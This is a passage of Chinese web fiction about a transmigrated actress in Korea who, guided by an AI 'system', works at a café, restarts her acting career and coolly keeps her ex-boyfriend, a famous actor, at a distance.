寥寥几笔墨色中只有池塘里唯一矗立的那一朵快要凋谢的莲花。 那时他只觉得画好看，却不知道怎么描述这种好看。但现在他能明白这，是独属于东亚人能欣赏的韵味，含蓄包容中又带着几丝寂寥的氛围。 “或许你知道电影系怎么走吗？”他含笑地走了过来，鞋尖上的锃亮几乎映照着宋玉妍的狼狈。 看到有人过来了，宋玉妍连忙擦拭着脸上的泪水，尽量想要维持着自己的体面。颤抖的鼻音被压着，“从这里下楼左转，穿过广场后，右手边第一栋就是电影系。” 李正宰从西装的空袋里扯出装饰用的棕色口袋巾，递了过去。“你要不……先将就擦擦，现在只有这个了。” 宋玉妍接过抬起头先是勉强一笑，然后看清楚人脸后，连忙鞠躬。“前辈!” “你见过我吗？” “之前在《1724妓房动乱事件》演过妓生。”也许是没有和这样的大前辈打过交道，她的声音有些怯怯的。 本来听到这部票房、口碑双双失利的作品，李正宰应该会感到很烦躁。但从宋玉妍的嘴里说出，这种烦闷消弭了几分。 甚至听到自己之前和宋玉妍有点交集，他的心中泛起点点涟漪。 他略过这个话题，“没想到学校变化这么大，你能带我过去吗？” 宋玉妍当然不会拒绝既是学长，又是前辈的要求。“内。”然后乖乖在前面带路。 路上李正宰很有分寸，没有直接去问对方为什么要放弃画画要做演员的原因，也没有问对方哭泣的原因。 一路上经过标志性建筑，他主动讲述着相关的故事，偶尔还穿插着自己当年生活的回忆。 李正宰不愧是成名已久的演员，低沉磁性的声音缓缓述说，让人不知不觉地就把知识灌进了脑子里。 宋玉妍整个人放松了下来，身体也不那么紧绷着。暂时抛却了烦恼，也会笑着说一说自己大学生活的事情。 到了电影系的楼下，李正宰并没有急着上去拜访老师。这段距离不算长，但足够两人互通一些基本的信息。 他侧过身，温柔地注视着身边人，然后发出邀请，“宋玉妍xi，等会能一起吃个饭吗？就当是答谢你把我带过来。” 吸入的每一口空气里，都有着雪花清冷的味道。风不能帮宋玉妍把脸颊上的温度降下来，她只觉得烧的慌。 不可否认，她对李正宰产生了好感。 也许是因为她正处于崩溃的边缘，想要抓住一颗救命稻草的心理。 也许是因为对方的稳重与包容。 也或许是对方下垂的眼睛，看起来太过温柔，几乎要把人溺毙。 不管怎么样，宋玉妍还是答应了他。 —— 明天就是圣诞节了，宋玉妍和其他店员一起，提前几天把店里的装饰都更换成了圣诞风格。 收银台挂上了金黄色的铃铛，所有的桌角都被系上酒红色蝴蝶结。 店员在圣诞季的这一个星期，都不戴原本的棕色贝雷帽。男店员都换成了棕色的麋鹿耳朵发箍，女店员则是变成麋鹿角的发夹，上面点缀着绿色丝带。 这段时间，客人比较多。就算是晚上，店里也还是保证要有两名店员，一个人是根本忙不过来的。 圣诞风格的套餐很受客人的欢迎，不管是有着小鹿印花的拿铁，还是绿色圣诞树造型的蛋糕。 宋玉妍觉得比起女生的麋鹿发夹，男生的发箍更加难评。 每看见崔俊秀戴这个一次，她都忍不住想笑。也许是来了新世界之后，人的笑点也会变低？ 老板为了增添氛围还把餐区的桌子撤掉了一个，大手笔地买了了一棵枞树放在餐区中间。 彩带、彩灯缠绕在绿色的枝叶上。除了最上方的五角星，树身还点缀着玩偶和小礼盒，看起来梦幻感十足! 「宿主，攻略对象李正宰离你不足100米。」 这种随时能报告被攻略者位置的福利，也是她逼着系统签下的“丧权辱国”条约。 假装不经意地往窗外瞟了一眼，宋玉妍看到五光十色的霓虹下有一辆黑色的商务车。停的不远不近，也许李正宰就在上面。 「好感度能查询到吗？」 「宿主，现在可能不太准确。」 听到这样的回复她也不丧气，继续拿着笔在本子上写写画画。 快到打烊的时间了，崔俊秀把东西归置好后，从休息间出来继续收拾。 掀开帘子，他对着坐在吧台的人说道：“宋玉妍xi，为了不让店里的圣诞布置被浪费，老板说所有员工都要拍摄照片，带上地址放到推特上和ig上！” “内！那我们今天在哪里拍？”宋玉妍站起来稍微整理了一下衬衫和西裤之后，指着圣诞树说：“要不就这？” 他当然没有问题。 圣诞树旁边正好有一个桌子，可以看到窗外的街景。 宋玉妍和店长坐在同一旁的沙发，他们之间挨得极近。甚至对方能够闻到她身上玫瑰和咖啡混合在一起的味道。 店里放的是d.ear今天发行的新单曲——《12月24》。崔俊秀只觉得歌词里的每个字，都像是在敲击着他的心脏。 每一句歌词都像是一把手术刀，精准又赤裸地把他的心思摊开。 明年也许可以让老板推一款玫瑰咖啡，到时候销量一定很好，他不着边际地想着。 拿起手机都准备拍了，宋玉妍发现旁边人还在走神，有些不解地转过去注视着对方。 眼前让他心动的人，察觉到对方此刻眼里满是他后，崔俊秀的脸“刷”的就红了，就连耳朵上都染上了薄粉。 宋玉妍举着他的手机，巧笑倩兮地看着镜头，还坏心地捏了捏他发箍上麋鹿耳朵。 车上的李正宰，恰好可以看到两人之间的熟稔的互动。本来想等她下班后，单独问一问她决定退圈的原因。 此时看到圣诞树下宛若一对璧人的两人，他心头涌上一股无名火，只觉得这个画面分外刺眼。 这个司机是新招来的，对宋玉妍和李正宰的过往并没有经纪人那么了解。他只对雇主今天突然改变行程的举动感到十分纳闷。 “开车吧！”这句话几乎是雇主顶着后槽牙说出来的。 当后座上的人看向窗外时才发现，今年的初雪来得算晚了。 洁白的细雪在平安夜这天，在他车的后视镜的缝隙处铺了浅浅一层。 明明四年前的那天平安夜，宋玉妍身边的人是他。那天两人吃完饭都没有带伞，细雪落满肩头的样子还历历在目。 司机启动发动机的一瞬间，细雪也被抖落了一些。 店里宋玉妍就听到了系统的提醒，黑色商务车从落地窗前一闪而过。 身旁的崔俊秀在拍完照也没有挪动位置，还是坐在她的旁边。假装忙着在给合照和今天拍的其他照片加滤镜、上传到社交软件上。 「宿主，你为什么要刺激攻略对象？」 在知道宿主有了新的“暧昧对象”后，无疑会对攻略任务造成难度。 她没有立刻回答，有的时候得不到的才是最好的，这是通用的道理。太容易得到的东西，往往会让人忽略第一眼时的惊艳。 下班了的宋玉妍婉拒了崔俊秀打算要送她回家的提议。 看着初雪一点点落下，她情不自禁地打开手掌，感受这一点点冰凉被温热的手心融化。然后才有闲心回复系统：「对于人类的情感，你还有得学。」 回到考试院这个逼仄的单间，躺在并不十分柔软的床上，她在脑海中翻着原主的记忆。 原主给她和李正宰都建过脸书的小号，只为了储存两人之间的日常。 对于这段恋情，对方一直都是抱着可有可无的态度。也曾以并不适应新兴的社交媒体为由，他的小号小号是一片空白，也没有回关女友。 一个人的小号满满当当，另一个却是空白一片。很多时候，故事在开始就书写好了结局。 这段感情更像是原主的一厢情愿。 宋玉妍默默地刷着这个小号，观看着这场属于原主一人的独角戏。三百多条内容，记录着两人恋爱期间的一点一滴。 平均两天一条博文，无数事无巨细的小事，见证她原原本本的一颗真心。甚至顾及到彼此都是公众人物，脸书没有任何的露脸照。 演员的共情能力本来就很强，看到这一条条代表着过去的回忆，各种情绪在身体里翻涌。 心脏像是被柚子水泡过，又软又涨，眼泪瞬间失禁，细细碎碎地在床单上晕染着。 看到一半就觉得无法忍受，属于这具身体保护机制的反应又要出现。宋玉妍连忙把手机倒扣在枕头上，坐起身体，大口大口地呼吸，平复着情绪。 这段独角戏，就让我帮你拉下帷幕吧。 「系统，把这个小号里面的内容备份到你的数据库里。然后一条一条地删掉，按照时间线从前往后删。」 系统虽然不知道自家宿主这样做的用意是什么，但还是照做。 三星洞的高级公寓。 李正宰回想着今晚的见面，有些辗转反侧。从他主动提出分手后的两个月后，这是他第一次见到前女友。 之前他都是被各种事情包围着，刻意地控制自己不去在意。他也不是木偶，不可能完全对宋玉妍之前在他生活中留下的痕迹无动于衷。 现在有很多疑问，比如为什么她没有继续进组而是选择退圈回归素人身份？之前又为什么没有和他说过遇到的困境…… 他拿起手机给自家经纪人发了个短信，「宋玉妍和她经纪公司之间是有什么纠纷吗？」 经纪人大概是在忙其他的事情，晚上《新世界》的工作人员组了个酒局。他提前回来了，权相俊还留在那里继续应酬。 反正横竖都是睡不着，李正宰手指不自觉地打开了脸书。对于四十代的他来说，这些没必要的社交都是能少则少。 脸书这个软件还是宋玉妍软磨硬泡，又是娇嗔地发脾气又是撒娇的，他才下到手机上。 就算她什么都弄好了，李正宰也没有打开过几次。 里面都是一些无聊的日常碎片，有那个时间他不如多看几个剧本，或者多去拓展拓展人脉。 当他点开账号主页，发现自己的粉丝数那里变成了0。他感觉有些不对劲，以为系统出现了bug。 幸好系统之前有过粉丝关注的消息提醒，不然他现在找不到宋玉妍的小号。 从那个灰色的头像点进去，顶端还停留在宋玉妍给他拍的，领带的特写那一条。 李正宰不由地舒了一口气，当时他不明白，这些到底有什么好发的，但女朋友总会有她的歪理。 等他继续往下翻的时候，这个软件好像真的出了一些问题。手指每滑一下，界面就跳动刷新卡顿一下。 等他发现之前记忆深刻的一条博文消失，他才意识到对方似乎一直在删除。 脸书界面上都是一些日常，偶尔是记录两人之间的文字，偶尔是一些零碎。他以为自己对这些早就没有记忆了，也不觉得这是什么很重要的事情。 但看到这些被一点一点抹除，心脏迟缓的钝痛了几下，随后又恢复正常的跳动。 可就算是已经分手，身体无端地传来涩意还是会让他很不习惯。 就好像一副绚丽的画，被人重新擦回空白，没有人记住它曾经的美好。 她的主页从拉不到底，到可以一滑到底，到不用滑动屏幕就可以看到所有的帖子，再到最后一片空白。 这是不是也标志着他们之间的关系，又重新回到了原点？ 李正宰对着那个灰色默认头像有些出神，只觉得这样也好。 对，这样也很不错！ 虽然权相俊有给他几次隐晦地提醒，宋玉妍和他交往也许是存着想要更好资源的目的。 他从未当回事，在娱乐圈摸爬滚打了这么多年。对方是真心还是假意，还是能够清楚分辨地出来。 原本他还担心，宋玉妍对他情根深种、一直走不出这段感情，会让他所剩无几的愧疚被唤醒。 心软一下再次复合的话，会让两个不太合适的人，重新回到互相折磨的状态。 但现在看到她能开始新的生活…… 李正宰把头转到飘窗那边，透过深色窗帘的缝隙可以看到，初雪变大了，黑色和白色交融在这天地。 凌晨两点钟，经纪人发来的文字让他看得有些难受，暖气温度刚好却还是让人后背觉得发凉。 系统一直监控着攻略对象的情绪曲线。发现李正宰从再一次见宋玉妍之后，这个数值在直起起伏伏，像是在围绕着平均值蹦迪。 第二天起来的宋玉妍熟练地打开店门后，从冰柜里拿出备品，然后开始打扫水吧的卫生。 8点半崔俊秀也准时到店了。 看着店长进来，想到他是店里唯一一个戴着麋鹿耳朵发箍的店员。宋玉妍就很难控制住自己眼底的笑意。 崔俊秀也是很无奈，每年圣诞咖啡店为了吸引顾客，都会都会为店员置办不同的装扮。 明明都已经习惯，只有今年宋玉妍每次看到他都像是被戳中笑点的样子，让他有些不自在。 但能博得有好感女生的笑容，崔俊秀尴尬一点好像也无所谓。 想到后面要说出口的话，她就肃了肃脸色，“店长，你准备再找个兼职吧，我可能在这里待不了太久了。” 他愣了一下，虽然知道她不会一直待在这个小小的咖啡店，听到这个话还是会有些止不住的难受。 宋玉妍经济状况因为兼职有所好转，下个月的生活费和房租都已经赚到了，也应该开始原本的任务了。 “内，不过宋玉妍xi是找到了新的工作了吗？” “阿尼。”她自觉和对方只是普通同事关系，要去剧组试镜的消息没必要说，交浅言深是职场大忌。 宋玉妍只是和对方说了这个事情后，就继续去干自己的工作了。 正好是圣诞节当天，也许是崔俊秀发在推特上的图片有了热度，也许是情侣们觉得这种轻奢小资的咖啡店是性价比很高的恋爱场所。今天咖啡店的客流量几乎是平时的五倍。 系统早就猜到她要去剧组拍戏，但是看她每天都是咖啡店、家里两点一线的，哪里来的时间去联系剧组？ 没有忍住好奇，「宿主？你是准备回去拍戏了吗？」 得到了肯定的答复之后，它继续问：「什么时候联系的资源？不是已经拒绝过李正宰的经纪人了吗？」 5、第五章 「之前的经纪人有给我留剧组的联系方式。」宋玉妍不以为意地耸了耸肩。 之前李智真建议她去找李正宰，被她拒绝之后，虽然恨铁不成钢，但还是给推荐了好几个导演的联系方式。 “重点项目的主演，你现在就别想了！角色基本上已经被各大经纪公司瓜分完了。你联系这几个电视剧圈的导演吧！看在我的面子上，小配角还是可以给你留的。”李智真留下这句话，把带有联系方式的纸条放在水吧台上就走了。 宋玉妍当时犹豫了一会，还是留下了那张纸条。她也不是不识好歹的人，对着李智真的背影轻声说了句“谢谢”。 原主的经纪公司虽然不做人，但是这个经纪人是真的掏心掏肺地对她好。 她已经和金奎泰导演的助理约好了时间，角色虽然不大，文熙珠这个角色戏份比龙套好不到哪里去。 但比没有的强! 系统忽然感觉自己被骗了，它之前被拉扯着签下了那么多不合理要求的条约算什么？ 「宿主！」 宋玉妍听到这委屈的电子音，还是很不习惯，「停！那些条约都已经成为你cpu里面的核心指令，你没有讨价还价的余地。」 —— 在电视剧领域，宋玉妍还还是一个新人。《那年冬天风在吹》剧情平平无奇，但是原版日剧人气不低，本身自带一定的粉丝基础。 加上男女主赵寅城、宋惠乔都是当红演员，这个项目一公开就受到了很多观众的关注。 年轻人都表示男女主演的颜值对她们眼睛很好，期待这是一部像《情书》那样的氛围感神作。 圈内对这部剧也是抱着能够拉高收视率大盘的期待。剧本和班底都不输大爆剧《蓝色生死恋》，再加上男女主的颜值，偶像剧的基本保障都齐全了。 配角就给各大经纪公司想要转型的爱豆或者新人，他们用来刷脸再好不过。 各个经纪公司都盯的很紧，为了这部剧的角色，私下扯头花都扯了好几轮。 和李智真联系过后的宋玉妍，还听到她在电话惋惜。 如果没有离开原本经纪公司，自家艺人要颜值有颜值、要演技有演技、要奖项有奖项。也许女主是不能奢望了，但是女二那个角色还是可以争取一下。 而对于导演来说，一般来说电视剧的选角是没有话语权的，稍微知名一点的作家都不会允许导演染指这份权利。 但《那年冬天风在吹》的剧本不是原创，卢熙京作家说话自然也没有那么硬气。在角色的选择上，还是两位主创商量着来。 圣诞节后，宋玉妍和咖啡厅请了个假，抽出时间面试上了文熙珠这个角色。 她现在全靠自己和剧组对接，现在的她连自己都养不起，更何况养助理、养团队了。 拿到剧组工作人员给的未来一个星期的通告单后，她合理地规划了时间，打算没有戏份的时候还是继续留在咖啡厅兼职。 一小时两万韩元的时薪比在剧组演戏的性价比高。要知道就算文熙珠这个角色只是一个女9号，也还是要在剧组待两到三个星期。 就这样，在没有经纪公司抽成的情况，到手的片酬也不过只有五十万韩元，。 宋玉妍望着手中的咖啡出神，难怪这个圈子里大部分的从艺人员最终留不下来。 也许刚开始大家都是怀揣着梦想进来，但最后都又都败给了现实。能够被大众看到的都已经是万幸中的万幸了，原主不也是这样吗？ 长得好看、刚开始经纪公司也出力的，但最后还是少了那么一点大火的运气。 工作日的下午，咖啡厅的工作相对来说还是很轻松的。大门上的银灰色风铃被人推开，发出叮叮当当的碰撞声。 在收银台坐着的宋玉妍连忙起身招呼，脸上挂着职业性地微笑，“欢迎……光临。” 当她视线看向大门后，脸上的笑容僵住了，来的是一个让她有些意想不到的顾客。 李正宰半夜在收到经纪人给他发过来的消息，知道宋玉妍在10月份就被经纪公司解除合约的消息后，内心久久不能平静。 10月份不恰巧是他主动提出分手的时候？ 当时的内心是有些愧疚，但是被他用理智给按下去了。 李正宰告诉自己：都是成年人了，没有谁一定要为谁的生活负责。 但这段时间躺在床上时，他的睡眠质量比之前更差了，闭上眼睛就是宋玉妍清空的facebook小号。 最刺目的还是分手时那一晚，女友满脸颓丧的郁气、微红的眼眶、平静接受分手结局时的那一声“好”。 明明之前吵架时，两人都违背了演员的基本素养，对自身的情绪失去过控制。 很多次他撕下了冷静的面具，宋玉妍也是扭曲着面容，歇斯底里地控诉着。 她多次一遍遍地翻着旧账，李正宰早就烦透了她这样。当热恋期的激情褪去，只剩下一对怨偶在原地相看两厌。 所以在他点燃香烟，两人都疲惫地不在说话时，他静地提出了分手。但看到宋玉妍答应后，如释重负的心情让他忽略了那么一丝不同寻常。 如果……如果知道她当时陷入事业上的危机，他李正宰会提分手，至少当时不会! 来之前听说她重新接了本子，但是是电视剧的，一个“龙套角色”。 他忽然很不是滋味，青龙最佳新人演员的奖项他也拿过、事业的低谷期他也经历过。看到现在的落魄的宋玉妍，就好像看到了当处的自己。 一样的傲气，不屑于低头，他选择大火时入伍，宋玉妍则是不屑于在大银幕卖脸。 “就这一次，再来看看她过得好不好，”李正宰在心底对自己说道。 她看了一眼有迅速把头低了回去，好像注意力都还在手上这杯没有做完的咖啡上。 只有心脏传来剧烈的“怦、怦”声在告诉宋玉妍，这具身体还在爱他，身体反应是无法骗人的。 右手有一些止不住的过电的感觉，微微的发抖，直接导致拉花的最后一笔失败，注入的奶泡太多，毁了整个千层心。 从休息间出来的崔俊秀看到这幕有些疑惑，她的手一向很稳，除了刚开始有些不熟练，后面基本上出杯率都是百分之百。 他走了过去，拿起这杯咖啡笑道：“恰好我也口渴了，这杯就刷我的咖啡卡，我喝掉可以吗？宋玉妍xi？” 也许是冬日午后的阳光过于温暖，晒得人都越发惫懒，她无心去认真听身边人的话。 宋玉妍心不在焉地点了点头，只能看到崔俊秀的嘴一张一翕，但耳蜗接收不到外界的任何一个音节。 在上一个世界她就知道，李正宰是一个很讲究的人，只要是在比较公开的场合，他身上基本上都是三件套。 只有当他拿到了艾美奖的视帝后，这种情况才好上一些，日常也会尝试卫衣之类的休闲服。 就好像一个上紧了发条浑身紧绷着的人，终于把自己的弦给拧松了一些。 今天也是如此，年底的首尔气温还是在零下，但是他身上除了板正的西装三件套之外只在外面加了件同色的藏青大衣。 宋玉妍的余光不自觉地飘到了他的领间，是一条暗红色的缎带领带，衬衫上别着金色的领针。领针上的红宝石很小，不足以抢领带的注意。 心口的情绪忽然翻涌地更加跌宕，她的眼睫盖住了眼底的暗色。 这两样她在原主的小号上看到过，是送给李正宰的一周年纪念日礼物。为了挑这两样，她是真的费足了心思。 她就当没有看到临街的窗户前多了这么一个客人。倒是崔俊秀时不时地往那看一眼，觉得这人有些奇怪又有些眼熟。 一到下班时间，宋玉妍把棕色的蕾丝围裙换下，把紧紧盘在脑后的低丸子头松开，鹿角发夹取下。然后穿着自己的衣服和店长说一声，准备回家。 当她离开工作区域，黑色的皮鞋一下一下地踏在棕色的菱格纹的木地板上。脚步声有些沉闷，如同此刻的心情。 正准备推开大门，听到在风铃“当、当”的标志着下班的晃动声后，推门出去时。 “我们现在连一起坐下喝杯咖啡，你都没有时间吗？”坐在落地窗边的人忽然出声，打断了宋玉妍推门推到一半的动作。 她转过头，故作惊讶像是才看到他一样，随后挂起敷衍的职业笑容，“好巧啊，李正宰xi！好久不见。” 对方的这些举动只让他憋闷，不巧!一点都不巧！他不熟练地翻着她的社交软件，好不容易找到了她的ins小号，才知道这家店的！ 李正宰只觉得心中有一种无法用言语描绘出来的难受，冬日午后的阳光像是冰箱里的灯，不能让他暖和半分。 他有想过很多种两人重逢的情况，也许宋玉妍也许会抱着他的手臂，撒着娇软声叫欧巴，然后说着这段时间以来的委屈。 也许是在某一个颁奖典礼上，不管是谁拿下奖项，彼此都互相露出一个体面微笑，然后送上祝福。 也许是在很多年之后，不经意间地偶遇，两人能坐下来好好谈谈，相视一笑泯恩仇。 也许…… 总之不会像这样，她一副古井无波的样子，平静的问好，平静地微笑。就好像两人之间的过去对她来说都不算什么，他像是她人生中的一个过客。 宋玉妍折回点单区，对着崔俊秀说了几句，然后坐到他对面，没过几分钟两杯摩卡被端了上来。 冬日里，喝一口热气腾腾的摩卡，晒着温和但是不刺激的午后暖阳。再静静感受着糖分带来的多巴胺在身体里慢慢游荡，这是一件很享受的事情。 两人相顾无言，都没有主动开口。 两个多月过去，她瘦了，本就不大的脸小了一圈，鹅蛋脸瘦的下巴尖尖都出来。 眼睛依旧是湿湿润润的，像是碎星子落入眼眸，长而卷翘的睫毛遮掩着眼珠。就是神色有些捉摸不透，和之前能一眼看到底的清澈气质不太一样。 “《观相》这个本子不错，虽然那只是个配角，但是能和韩导打好关系。”沉默良久，到底还是李正宰先挑起话头。 之前是以为宋玉妍真的要退圈，所以就没有勉强。但是都已经沦落到去小荧幕“跑龙套”了，为什么不能接受他给推荐的这个角色？ “李正宰xi，你是以什么身份给我推荐这个角色呢？前男友吗？你偶尔也会给金珉喜xi推荐角色吗？” 宋玉妍带着一丝讽刺地笑了笑，像是在说，他这个前男友当的太过称职了。 对于现在宋玉妍对他说敬语，李正宰听的这几次都感觉很不舒服，有些没有办法习惯。 过去她就算是闹也好、生气也罢，从来都不会拿他的前女友说事，也许是怕自己在他心里位置比不上旧人。 毕竟05年他被分手时，李正宰深夜买醉的新闻各大报纸都有报道。 他深吸一口气按耐住自己脾气，开口道：“宋玉妍xi，你也要好好考虑自己日后的路该怎么走。八点档的那些水木剧对你一点好处都没有。” 宋玉妍笑笑没有说话，他现在能以什么立场来对她说这些话呢？ 如果在分手时，李正宰能说出这番话，而不是冷冰冰地甩下一个词——分手，原主也不至于那么绝望。 “这杯咖啡就当我请，李正宰xi，我们确实已经不是能坐下来好好喝杯咖啡的关系。 之前想说的的话，都已经和你的经纪人说过了，就不再赘述。总之，希望你未来一片坦途、以及我们再也不见。” 这是原主的想法，毕竟是爱过，但也不希望再有交集。说完之后，转身她推开了咖啡厅的棕色木门，风铃声再次响起。 咖啡厅只剩下他一个客人，李正宰看着她的背影。发现她路过五扇落地窗，但没有回头，一次也没有。 6、第六章 靠在沙发上的李正宰很不适应，捏着白瓷描金咖啡杯杯柄的手不自觉地用力。手上的青筋微微凸起，像是要把杯柄捏碎。 从一开始他就知道和宋玉妍走不到最后，两个人年龄差距太大。 就算当时她因为生活被迫成熟了很多，但少年的爱意总是赤诚而热烈的。初次恋爱宋玉妍没有经验，不管是正面还是负面的情绪都过于外放，爱的惊心动魄也恨的惊心动魄。 她就像是一团火焰，很容易让人感受到温暖，更很容易让人被灼伤。 这让李正宰觉得十分疲惫，作为年上男友，他是有照顾宋玉妍的责任。 但快步入四十代的他，在忠武路正是势头发展正好，事业的巅峰时期。 平时女朋友的撒娇痴嗔他也很是受用，一旦她的情绪会对他事业产生影响，就会感觉很困扰，毕竟人生也不只是有爱情。 包括这一次提出分手的导火索，也是因为对方一直不赞同他和全渡妍拍摄《下女》。 这个剧本无论是导演还是剧本都是难得一见的好饼，也就是题材有些限制。对于男演员来说演情｜色｜片受到的影响可以说是微乎其微。 那可是全渡妍啊！在韩国女演员中的地位都是独一个档。圈子里面流传着一句话，想要拿奖就和全渡妍“睡”。 自从打破最快拿到青龙影帝的记录后，李正宰再也没有受到过青龙电影节的青睐。 接这种限制级别的剧本，也是想要拿奖用来证明自己。所以为了以后事业的发展，他选择冷处理和宋玉妍之间的关系。 《下女》入围戛纳电影节最佳竞赛单元，他也如愿以偿地得到了国际奖项的认可。后续更是陆陆续续接到很多平时根本拿不到的剧本，这也让他觉得自己的选择没有错。 看着从玻璃窗前掠过的倩影，李正宰只是把头微微偏过。手中这一杯有些冷掉的摩卡，他喝了一口然后放下。 起身把因为店里暖气开的太足而脱下的大衣穿上，他头也不回地离开了。 「就这样吧。」该做的都做了，以后就真如宋玉妍所说两不相干就好。他压下心中那份莫名其妙地不甘心。 「宿主，这其实是一个攻略他的好时机，他能主动过来找你就说明还是在意的。」 这个时候还不趁热打铁把攻略对象拿下吗？系统等宿主走远之后问道。 「你们人工智能太小看人类的情感了。」她只是笑了笑，没有想给系统解释的意思。 太过主动会给对方一种笃定你不会离开的错觉，原主不就是这样吗？这段感情里面每次吵架的原因，都是以原主感到不舒服开始，但最后都是她主动低头为结局收场。 宋玉妍在把记录和李正宰之间的facebook小号清空之后，顺手把之前和崔俊秀拍的圣诞合照po了上去。 他们店在新推出的ig上小火了一把，因为别致的圣诞元素装饰和男帅女美的店员。 在南韩，颜值即正义，这段时间过来的客人明显增多，大多都是希望能和店员合照的。 老板看着每日的营收都笑得合不拢嘴，偶尔过来巡店的时候，看到宋玉妍和崔俊秀，脸都笑成一朵花，这两位就是店里的营收保障。 “呀，看到漂亮孩子后，就是会让人心情变好！” 在听到店长和她说要重新找兼职店员的事时，老板还很讶异。随后大手笔地开出三万韩元一小时的“高薪”想要留住人。 但还是被她拒绝了，跟组之后她是不会还有时间在这里兼职的。 想到这里，宋玉妍都有些哭笑不得了，如果不是原主愿望要完成，一直待在咖啡厅好像也没有什么不好。 但是金导演那边放养她一个多星期后，忽然强烈要求她这个女九号跟组。 主要还是为配合男女主的行程，那两位现在分分钟的cf收入的零头，都够宋玉妍的片酬了。 跟组之后的绝大多数时间待在片场，她就近观摩着电视剧的拍摄方式。 虽然说和电影大差不离，但明显电视剧剧组的氛围更加紧绷，投资方的资金一般都是按照两个月拍摄进度给的。 导演编剧和主演的压力显然都更大，同样的制作时间，要求的有效拍摄镜头是电影的十几倍。 片场一片风风火火，除了演员，几乎每一个工作人员都来不及收拾自己。 她的这个角色主要还是作为背景板，一共80多场戏，群戏就占了60多场。平时就连主导演的面都见不上，宋玉妍大多时候都是跟着b组导演。 电视剧对演技要求没有那么高，她的戏份大部分都是一条过，杀青戏还提前了半个星期。 直到最后一场戏时，把新做好的金枪鱼沙拉味和少部分其他味道的饭团，宋玉妍亲手分发给工作人员。 为了和b组的工作人员混熟，就算请不起咖啡，但她也会偶尔会自己买些食材。简易地做了些速食带给这些临时同事，精湛的手艺受到了大家的一致认可。 b组的导演祝竹是一个在韩绿卡，为了积累拍摄经验来的南韩。 他对会说中文又不作妖的宋玉妍好感度很高，在接过蛋黄肉松饭团后笑道：“宋玉妍xi杀青了，那我可要包个小红封。” 南韩这边没有这样的习惯，这是大陆的剧组传统。但这两个星期的相处，让他把对方当成了半个自己人。 反正b组还是有一些经费，拍摄也快结束了。与其到时候把这笔钱全都花在聚餐上，还不如卖她一个人情，就当是前期投资。 正在给工作人员分饭团的宋玉妍笑着用中文回复：“好呀，那就谢谢祝导了！” 最后一场戏是文熙珠的独白，大段大段的台词，她早就在之前就背好。展开白色的信封看着上面的笔迹，泪水一滴滴落下，打湿了白色的信纸。 监视器后面的祝导看着镜头里面的宋玉妍，内心有些惋惜。 这种相对内敛的演技，对面部肌肉的控制能力，他来南韩之后，只在一小撮最顶尖的电影演员身上看到过。 电视剧演员大多都是靠夸张的表情变化，很模板化的韩式演法。宋玉妍这种靠眼神和肌肉细节演戏的演员，在电视剧领域很可能会吃亏。 这场戏结束之后，祝竹拿着红封放在置景的桌子上，等她慢慢平复心情，忍了又忍最后还是把心底话说出来。 “宋玉妍xi，你之前是电影演员吗？或者说演电影比较多？” 对于业内人士来说，电影、电视剧、话剧虽然都归属于表演艺术。但是工业分工还是很明确的，需要演员的演戏风格也不一样。 电视剧演员基本上都是再用韩国流行的韩式演法，以夸张表情和语气作为标志。 电影演员则是要考虑整体的氛围感，多是用眼神和微表情表达情绪，话剧演员则是靠大开大合的肢体动作和台词。 宋玉妍点了点头，认同地“内”了一声。 “你的这种演法不是说不好，而是不适合电视剧，到时候参加重要角色的试镜可能会吃亏。 大荧幕上面，演员的一言一行都会被放大，所以夸张的演技风格就会很不适配。” 这也是为什么有一些电视剧明星转战电影连连挫败的原因，固定的夸张式演法在放大的镜头下是真的不讨好。 “但是反过来，电影的演法对电视剧来说太平了，你的那些微表情，除非导演一直给特写，不然观众捕捉不到。”祝竹还是从导演的角度，给出自己的专业建议。 听到这一番话，宋玉妍醍醐灌顶。难怪有的时候，就算她自觉在在片场发挥不错，但还是觉得演戏隔了一层。 之前她都没有接触过电视剧，一直围绕电影打转。没有意识到，电影的演法和小银幕快节奏的偶像剧并不适配。 但是想要完成原主成为商业价值最高的女演员，电视剧演员的走红速度比电影要快的多。她还是得多下苦功夫。 她对着祝竹深深鞠了一躬，感谢他的点拨，“谢谢导演。”然后拿走了桌上的红封后，就算是结束了在《那年冬天风在吹》剧组的所有戏份。 在看过银行卡上余额可怜的数字之后，由不得她摆烂。宋玉妍马不停蹄地联系了下一个剧组，用的还是之前李智妍给的联系方式。 打电话和《九家之书》的工作人员约定面试时间的时候。她一边在心里赞叹前经纪人的工作能力，一边做梦以后有机会可以把人挖到身边来。 有这样的一个经纪人能给她省多少事情！现在也只能是想想！ 这段时间有两个快销品的商家，不知道从哪里知道了她的联系方式之后找上门来。宋玉妍猜测大概率是李正宰那边给推荐的资源。 犹豫了再三还是推掉了，虽然她很缺钱，但是现在对攻略对象还是要冷着一点。 一点小恩小惠不足以让现在的她动心。 — 咖啡厅的风铃声响起，崔俊秀坐在收银台核对着当日营收，有客人来之后本能抬头，“欢迎……宋玉妍xi你怎么来了？” “回家路上路过这里，想着好歹是前同事，就想着进来看看。” 他几乎不敢抬头，之前在这里兼职的宋玉妍每天都是衬衫西裤，外面套着一个白色长羽绒服。除了必要的眉毛口红基本上都不修饰。 虽然说天然美人就算去掉雕饰，容色也是十分动人，但是比不了今日的精致。 乌藻一般的头发应该是细心卷过，柔顺地披在肩上。脸上画着精致的白开水妆容，整个人显得温柔又妩媚，尤其是嘴唇和初春娇嫩的花瓣一样。 崔俊秀只觉得好看，有说不出那里好看，只觉得和南韩其他女生套公式般的妆容完全不一样。 他心底涌现出一股难以言喻的酸涩，知道她不在这里做兼职之后，两人的世界终于要彻底分割开了。 心中的难受无法抒发，他只能把头低的更加低。余光只能看到对面人白色呢子大衣领子上的那一圈珍珠。 宋玉妍靠着吧台，身体微微前倾，粉面含笑地对着他说道：“崔俊秀xi，我想和老板做笔交易，你可以帮我和老板说说吗？” 7、第七章 等宋玉妍走出咖啡厅的时候，崔俊秀还是一脸复杂，从未设想过对方居然会是艺人。 他打开流媒体搜索了对方的名字，播放最高的就是两年前，宋玉妍拿下青龙最佳新人奖的视频。 对方摇曳生姿、明艳到不可方物，一瞬间让礼堂内的星光都沦为陪衬，他也彻底掐掉了内心的那一抹悸动。 “我会和老板说的！”崔俊秀看着眼前人，之前一个多月的朝夕相处简直就像是偷来的梦境一样美好。 他有一种预感，以后怕是很难再见面了。 曲终梦散，相交过的线条最终也会归于平行。 看着宋玉妍的背影，那一抹倩白消失在店的转角处，门口的风铃声停了。 祝对方日后直上青云，所求所愿皆得。 